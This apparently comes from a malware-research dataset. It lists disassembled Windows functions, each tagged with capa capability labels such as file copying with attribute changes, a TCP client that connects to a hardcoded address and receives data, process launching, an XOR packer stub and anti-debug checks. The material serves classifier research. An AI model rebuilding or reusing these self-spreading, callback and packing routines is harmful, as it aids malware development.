joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417c74
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x7a
push 0
push 0
dec ecx
jne 0x417c7c
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404abc
lea eax, [ebp - 0x15c]
mov edx, dword [0x40a15c]
call fcn.00404f5c
xor eax, eax
push ebp
push 0x417f36
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x25c]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
lea edx, [ebp - 0x3b0]
mov eax, 0x417f4c
call fcn.004175fc
mov ecx, dword [ebp - 0x3b0]
lea eax, [ebp - 0x3ac]
mov edx, dword [ebp - 4]
call fcn.00404918
mov eax, dword [ebp - 0x3ac]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.0040b500
test eax, eax
jne 0x417ece
mov eax, dword [ebp - 0x150]
mov edx, 0x417f5c
call fcn.00404a18
jne 0x417d20
lea eax, [ebp - 0x15c]
call fcn.0040b550
mov eax, dword [ebp - 0x150]
mov edx, 0x417f68
call fcn.00404a18
jne 0x417d3d
lea eax, [ebp - 0x15c]
call fcn.0040b550
lea eax, [ebp - 0x3b4]
lea edx, [ebp - 0x25c]
mov ecx, pe_nt_image_headers32
call fcn.0040487c
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x150]
call fcn.00404a18
jne 0x417d71
lea eax, [ebp - 0x15c]
call fcn.0040b550
cmp dword [ebp - 0x154], 6
jne 0x417d85
lea eax, [ebp - 0x15c]
call fcn.0040b550
lea edx, [ebp - 0x3bc]
mov eax, 0x417f74
call fcn.004175fc
mov ecx, dword [ebp - 0x3bc]
lea eax, [ebp - 0x3b8]
mov edx, dword [ebp - 0x150]
call fcn.00404918
mov eax, dword [ebp - 0x3b8]
call fcn.0040b460
test al, al
je 0x417dc6
lea eax, [ebp - 0x15c]
call fcn.0040b550
mov eax, dword [ebp - 0x154]
and eax, 0x10
cmp eax, 0x10
jne 0x417e00
lea eax, [ebp - 0x3c0]
mov ecx, 0x417f84
mov edx, dword [ebp - 0x150]
call fcn.00404918
mov eax, dword [ebp - 0x3c0]
call fcn.00417c74
lea eax, [ebp - 0x15c]
call fcn.0040b550
push 6
lea eax, [ebp - 0x3c4]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404918
mov eax, dword [ebp - 0x3c4]
call fcn.00404acc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x3c8]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404918
mov edx, dword [ebp - 0x3c8]
lea eax, [ebp - 0x3a8]
call fcn.00403064
push dword [ebp - 4]
push dword [ebp - 0x150]
lea ecx, [ebp - 0x3d0]
mov edx, 5
mov eax, 0x417f90
call fcn.00417694
push dword [ebp - 0x3d0]
lea eax, [ebp - 0x3cc]
mov edx, 3
call fcn.0040498c
mov edx, dword [ebp - 0x3cc]
lea eax, [ebp - 0x3a8]
call fcn.0040329c
lea eax, [ebp - 0x3d4]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404918
mov eax, dword [ebp - 0x3d4]
call fcn.004177fc
lea eax, [ebp - 0x15c]
call fcn.0040b550
lea eax, [ebp - 0x15c]
call fcn.0040b550
test eax, eax
je 0x417d03
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417f3d
lea eax, [ebp - 0x3d4]
mov edx, 5
call fcn.00404630
lea eax, [ebp - 0x3c0]
call fcn.0040460c
lea eax, [ebp - 0x3bc]
call fcn.0040460c
lea eax, [ebp - 0x3b8]
call fcn.0040460c
lea eax, [ebp - 0x3b4]
mov edx, 3
call fcn.00404630
lea eax, [ebp - 0x15c]
mov edx, dword [0x40a15c]
call fcn.00405020
lea eax, [ebp - 4]
call fcn.0040460c
ret
Function at 0x418b3c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x418b45
mov eax, dword [ebp - 4]
add esp, 0xfffffe60
xor eax, eax
mov dword [ebp - 0x101a4], eax
xor eax, eax
push ebp
push 0x418c79
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1a0]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov edx, dword [0x41a6ac]
mov dword [edx], eax
mov word [ebp - 0x10], 2
push 0x1a79
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
push 0x418c84
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x41a6ac]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x418c4e
mov eax, 0x418c9c
call fcn.004082cc
mov eax, 0x418ca8
call fcn.004082cc
mov eax, 0x418cb4
call fcn.004082cc
mov eax, dword [0x41a670]
mov edx, 0x10000
call fcn.00406738
push 0
push 0x10000
lea eax, [ebp - 0x101a0]
push eax
mov eax, dword [0x41a6ac]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_recv
dec eax
jle 0x418c3c
lea eax, [ebp - 0x101a4]
lea edx, [ebp - 0x101a0]
mov ecx, 0x10000
call fcn.0040487c
mov eax, dword [ebp - 0x101a4]
call fcn.004082cc
jmp 0x418bec
mov eax, dword [0x41a6ac]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
jmp 0x418b6e
mov eax, dword [0x41a6ac]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_closesocket
jmp 0x418b6e
Function at 0x418cb8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd88
push ebx
xor edx, edx
mov dword [ebp - 0x278], edx
mov dword [ebp - 0x274], edx
mov dword [ebp - 0x26c], edx
mov dword [ebp - 0x270], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404abc
lea eax, [ebp - 0x164]
mov edx, dword [0x40a15c]
call fcn.00404f5c
xor eax, eax
push ebp
push 0x418ef1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x101
lea eax, [ebp - 0x265]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
mov dl, 1
mov eax, dword [0x41697c]
call fcn.00416a7c
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.00416b1c
mov cl, 1
mov edx, 0x418f08
mov eax, ebx
call fcn.00416b80
lea ecx, [ebp - 8]
mov edx, 0x418f20
mov eax, ebx
call fcn.00416d48
lea ecx, [ebp - 0x270]
mov edx, 5
mov eax, 0x418f30
call fcn.00417694
mov ecx, dword [ebp - 0x270]
lea eax, [ebp - 0x26c]
mov edx, dword [ebp - 4]
call fcn.00404918
mov eax, dword [ebp - 0x26c]
lea ecx, [ebp - 0x164]
mov edx, 0x3f
call fcn.0040b500
test eax, eax
jne 0x418e91
mov eax, dword [ebp - 0x158]
mov edx, 0x418f40
call fcn.00404a18
jne 0x418dba
lea eax, [ebp - 0x164]
call fcn.0040b550
mov eax, dword [ebp - 0x158]
mov edx, 0x418f4c
call fcn.00404a18
jne 0x418dd7
lea eax, [ebp - 0x164]
call fcn.0040b550
mov eax, dword [ebp - 0x15c]
and eax, 0x10
cmp eax, 0x10
jne 0x418e11
lea eax, [ebp - 0x274]
mov ecx, 0x418f58
mov edx, dword [ebp - 0x158]
call fcn.00404918
mov eax, dword [ebp - 0x274]
call fcn.00418cb8
lea eax, [ebp - 0x164]
call fcn.0040b550
lea eax, [ebp - 0x278]
mov ecx, 0x418f64
mov edx, dword [ebp - 4]
call fcn.00404918
mov eax, dword [ebp - 0x278]
call fcn.004177fc
push 0x418f7c
push dword [ebp - 0x158]
push 0x418f98
push 0x418f64
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.0040498c
push 1
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404acc
push eax
mov eax, dword [ebp - 8]
call fcn.00404acc
push eax
push 0x418f9c
push 5
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x164]
call fcn.0040b550
lea eax, [ebp - 0x164]
call fcn.0040b550
test eax, eax
je 0x418d9d
mov eax, ebx
call fcn.00416aec
mov eax, ebx
call fcn.00403b24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418ef8
lea eax, [ebp - 0x278]
call fcn.0040460c
lea eax, [ebp - 0x274]
call fcn.0040460c
lea eax, [ebp - 0x270]
mov edx, 2
call fcn.00404630
lea eax, [ebp - 0x164]
mov edx, dword [0x40a15c]
call fcn.00405020
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404630
ret
Function at 0x4190b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x4190c0
push ebx
push esi
mov eax, 0x418ff8
call fcn.0040642c
xor eax, eax
push ebp
push 0x4192b5
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
push 0x42c260
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x14]
mov edx, 0x42c260
mov ecx, pe_nt_image_headers32
call fcn.0040487c
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x18]
mov eax, 0x4192cc
call fcn.004175fc
mov edx, dword [ebp - 0x18]
pop eax
call fcn.004048d4
mov eax, dword [ebp - 0x14]
call fcn.0040b460
test al, al
je 0x419170
push 0
lea eax, [ebp - 0x1c]
mov edx, 0x42c260
mov ecx, pe_nt_image_headers32
call fcn.0040487c
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x20]
mov eax, 0x4192cc
call fcn.004175fc
mov edx, dword [ebp - 0x20]
pop eax
call fcn.004048d4
mov eax, dword [ebp - 0x1c]
call fcn.00404acc
push eax
call sub.kernel32.dll_WinExec
call fcn.00417980
jmp 0x41929a
lea eax, [ebp - 0x24]
mov edx, 0x42c260
mov ecx, pe_nt_image_headers32
call fcn.0040487c
mov eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
call fcn.00417738
lea eax, [ebp - 0x28]
mov edx, 0x4192dc
call fcn.004048d4
mov edx, dword [ebp - 0x28]
pop eax
call fcn.00404a18
je 0x41921b
lea eax, [ebp - 0x2c]
mov edx, 0x42c260
mov ecx, pe_nt_image_headers32
call fcn.0040487c
mov eax, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
call fcn.00417738
lea eax, [ebp - 0x30]
mov edx, 0x4192f0
call fcn.004048d4
mov edx, dword [ebp - 0x30]
pop eax
call fcn.00404a18
je 0x419295
lea eax, [ebp - 0x34]
mov edx, 0x42c260
mov ecx, pe_nt_image_headers32
call fcn.0040487c
mov eax, dword [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
call fcn.00417738
lea eax, [ebp - 0x38]
mov edx, 0x41930c
call fcn.004048d4
mov edx, dword [ebp - 0x38]
pop eax
call fcn.00404a18
je 0x419272
jmp 0x419166
call fcn.00418320
call fcn.00418a04
mov eax, 0x419324
call fcn.00417c74
mov eax, 0x419330
call fcn.00417c74
mov eax, 0x41933c
call fcn.00417c74
mov eax, 0x419324
call fcn.00418cb8
mov eax, 0x419330
call fcn.00418cb8
mov eax, 0x41933c
call fcn.00418cb8
mov edx, 0x419348
mov eax, 0x41935c
call fcn.00417f98
jmp 0x41929a
xor esi, esi
mov ebx, 0x41a404
mov eax, dword [ebx]
call fcn.0041747c
inc esi
add ebx, 4
cmp esi, 0x40
jne 0x419279
push 0x3e7
call sub.kernel32.dll_Sleep_1
jmp 0x419272
call fcn.00418b3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4192bc
lea eax, [ebp - 0x38]
mov edx, 0xa
call fcn.00404630
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x2aa83faf
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x31546350
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4028c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0xfffff000
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x1c], 0x1000
mov dword [ebp - 0x48], 0
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x4550
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0x5a4d
mov dword [ebp - 0x30], 0
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x14], 0
mov word [ebp - 0x42], 0x6792
mov byte [ebp - 0x31], 1
mov bl, byte [ebp - 0x31]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x29], 0x72
mov word [ebp - 0x22], 0x5970
cmp eax, 0
mov byte [ebp - 0x4d], bl
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x60], edi
jne 0x40295b
mov ax, 0x1ab8
mov dword [ebp - 0x28], 0
sub ax, word [ebp - 0x42]
mov word [ebp - 0x42], ax
jmp 0x402a50
mov eax, dword [ebp - 0x48]
add eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
mov dx, word [ecx]
mov si, word [ebp - 0x42]
mov di, ax
and si, di
mov word [ebp - 0x42], si
movzx eax, dx
mov ecx, dword [ebp - 0x60]
cmp eax, ecx
jne 0x4029f6
mov eax, 0
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x3c]
mov dx, word [ebp - 0x22]
add dx, 0x5072
sub eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x18]
mov ecx, dword [esi + ecx]
mov dword [ebp - 0x30], eax
mov di, word [ebp - 0x22]
add di, 0x929
mov word [ebp - 0x22], di
mov word [ebp - 0x22], dx
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
jne 0x4029ea
lea eax, [ebp - 0x48]
mov cx, word [ebp - 0x42]
xor cx, 0x76df
mov word [ebp - 0x22], cx
mov dl, byte [ebp - 0x29]
mov dh, al
or dl, dh
mov byte [ebp - 0x29], dl
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov dl, byte [ebp - 0x29]
add dl, 0xa6
mov byte [ebp - 0x29], dl
jmp 0x402a50
mov ax, 0x14a
sub ax, word [ebp - 0x22]
mov word [ebp - 0x22], ax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x58]
sub eax, ecx
mov edx, dword [ebp - 0x54]
and eax, edx
mov dword [ebp - 0x18], eax
mov eax, 0
sub eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
mov cl, byte [ebp - 0x4d]
test cl, 1
jne 0x402966
lea eax, [ebp - 0x14]
mov cx, word [ebp - 0x22]
or cx, 0x6ce7
mov dx, word [ebp - 0x42]
mov si, ax
or dx, si
mov word [ebp - 0x42], dx
mov word [ebp - 0x22], cx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x42]
lea ecx, [ebp - 0x29]
mov dx, word [ebp - 0x22]
mov si, cx
xor dx, si
mov word [ebp - 0x22], dx
mov ecx, dword [ebp - 0x28]
mov dx, word [ebp - 0x42]
mov si, ax
or dx, si
mov word [ebp - 0x42], dx
mov eax, ecx
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404031
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, 0x58b1a1
test eax, eax
je 0x404079
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043ae4f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5c2198]
test ebx, ebx
je 0x40408d
push ebx
call fcn.0043ae55
add esp, 4
pop eax
mov dword [0x5c2198], eax
mov eax, 0x58b2a9
test eax, eax
je 0x4040af
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0043ae4f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5c219c]
test ebx, ebx
je 0x4040c3
push ebx
call fcn.0043ae55
add esp, 4
pop eax
mov dword [0x5c219c], eax
push dword [ebp + 8]
call fcn.004041c4
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fadd qword [0x58b3b1]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
call fcn.0040400a
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
jne 0x4041b6
push dword [ebp - 4]
call fcn.00404755
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call fcn.00405108
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 3
jne 0x40412d
cmp dword [ebp - 0x10], 0xc2
jne 0x40412d
jmp 0x4041b6
cmp dword [ebp - 0xc], 1
jne 0x404171
cmp dword [ebp - 0x10], 0xcc
je 0x40415f
cmp dword [ebp - 0x10], 0x55
je 0x40415f
cmp dword [ebp - 0x10], 0xc3
je 0x40415f
xor eax, eax
jmp 0x404164
mov eax, 1
test eax, eax
je 0x404171
jmp 0x4041b6
fild dword [ebp - 0x14]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fild dword [ebp - 0x10]
fstp qword [ebp - 0x24]
fadd qword [ebp - 0x24]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.0040400a
mov dword [ebp - 0x14], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fild dword [ebp - 0xc]
fstp qword [ebp - 0x24]
fadd qword [ebp - 0x24]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.0040400a
mov dword [ebp - 4], eax
jmp 0x4040f1
mov eax, dword [ebp - 0x14]
jmp 0x4041be
mov esp, ebp
pop ebp
ret 4

Function at 0x40af65
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x40afc9
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40afb2
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x40afa1
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40af92
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x41cc7a
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via vbmi lookup table
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0x84
push ebx
mov ebx, dword [esp + 0x98]
push esi
xor ecx, ecx
xor esi, esi
xor edx, edx
push edi
mov dword [esp + 0xc], 0x7f7f7f7f
mov dword [esp + 0x10], 0x7f7f7f7f
mov dword [esp + 0x14], 0x7f7f7f7f
mov dword [esp + 0x18], 0x7f7f7f7f
mov dword [esp + 0x1c], 0x7f7f7f7f
mov dword [esp + 0x20], 0x7f7f7f7f
mov dword [esp + 0x24], 0x7f7f7f7f
mov dword [esp + 0x28], 0x7f7f7f7f
mov dword [esp + 0x2c], 0x7f7f7f7f
mov dword [esp + 0x30], 0x7f7f7f7f
mov dword [esp + 0x34], 0x3e7f7f7f
mov dword [esp + 0x38], 0x3f7f7f7f
mov dword [esp + 0x3c], 0x37363534
mov dword [esp + 0x40], 0x3b3a3938
mov dword [esp + 0x44], 0x7f7f3d3c
mov dword [esp + 0x48], 0x7f7f407f
mov dword [esp + 0x4c], 0x201007f
mov dword [esp + 0x50], 0x6050403
mov dword [esp + 0x54], 0xa090807
mov dword [esp + 0x58], 0xe0d0c0b
mov dword [esp + 0x5c], 0x1211100f
mov dword [esp + 0x60], 0x16151413
mov dword [esp + 0x64], 0x7f191817
mov dword [esp + 0x68], 0x7f7f7f7f
mov dword [esp + 0x6c], 0x1c1b1a7f
mov dword [esp + 0x70], 0x201f1e1d
mov dword [esp + 0x74], 0x24232221
mov dword [esp + 0x78], 0x28272625
mov dword [esp + 0x7c], 0x2c2b2a29
mov dword [esp + 0x80], 0x302f2e2d
mov dword [esp + 0x84], 0x7f333231
mov dword [esp + 0x88], 0x7f7f7f7f
test ebx, ebx
je 0x41cec7
mov edi, dword [esp + 0x9c]
mov edi, edi
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x41cdc4
cmp byte [edx + edi], 0xd
jne 0x41cdc4
cmp byte [edx + edi + 1], 0xa
je 0x41cdfd
mov al, byte [edx + edi]
cmp al, 0xa
je 0x41cdfd
cmp al, 0x3d
jne 0x41cdd9
inc ecx
cmp ecx, 2
ja 0x41ced5
cmp al, 0x7f
ja 0x41ced5
movzx eax, al
mov al, byte [esp + eax + 0xc]
cmp al, 0x7f
je 0x41ced5
cmp al, 0x40
jae 0x41cdfc
test ecx, ecx
jne 0x41ced5
inc esi
inc edx
cmp edx, ebx
jb 0x41cdae
test esi, esi
je 0x41cec7
mov ecx, dword [esp + 0x98]
lea eax, [esi + esi*2]
mov esi, dword [esp + 0x94]
lea eax, [eax*2 + 7]
shr eax, 3
test esi, esi
je 0x41cee6
cmp dword [ecx], eax
jb 0x41cee6
xor eax, eax
xor ebx, ebx
push ebp
mov ebp, 3
mov dword [esp + 0x90], eax
test edx, edx
je 0x41ceb6
lea esp, [esp]
mov al, byte [edi]
cmp al, 0xd
je 0x41ceb2
cmp al, 0xa
je 0x41ceb2
movzx eax, al
mov cl, byte [esp + eax + 0x10]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub ebp, eax
movzx eax, cl
mov ecx, dword [esp + 0x90]
and eax, 0x3f
inc ecx
or ebx, eax
mov dword [esp + 0x90], ecx
cmp ecx, 4
jne 0x41ceb2
xor eax, eax
mov dword [esp + 0x90], eax
test ebp, ebp
je 0x41ce9d
mov eax, ebx
shr eax, 0x10
mov byte [esi], al
inc esi
cmp ebp, 1
jbe 0x41ceaa
mov eax, ebx
shr eax, 8
mov byte [esi], al
inc esi
cmp ebp, 2
jbe 0x41ceb2
mov byte [esi], bl
inc esi
inc edi
dec edx
jne 0x41ce4e
sub esi, dword [esp + 0x98]
mov eax, dword [esp + 0x9c]
pop ebp
mov dword [eax], esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
add esp, 0x84
ret 0x10
pop edi
pop esi
mov dword [ecx], eax
or eax, 0xffffffff
pop ebx
add esp, 0x84
ret 0x10
Function at 0x431b33
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x431b56
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x431b56
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x431b60
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x431ba2
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x431c04
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x431bff
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x431bea
test dl, dl
je 0x431be6
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x431bea
add ecx, 2
add eax, 2
test dl, dl
jne 0x431bca
xor eax, eax
jmp 0x431bef
sbb eax, eax
or eax, 1
test eax, eax
je 0x431c10
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x431bb7
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x431c95
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x431cb8
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x431cb8
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x431cc2
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x431d04
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x431d66
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x431d61
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x431d4c
test dl, dl
je 0x431d48
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x431d4c
add ecx, 2
add eax, 2
test dl, dl
jne 0x431d2c
xor eax, eax
jmp 0x431d51
sbb eax, eax
or eax, 1
test eax, eax
je 0x431d72
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x431d19
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x431e04
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x431e27
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x431e27
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x431e31
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x431e73
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
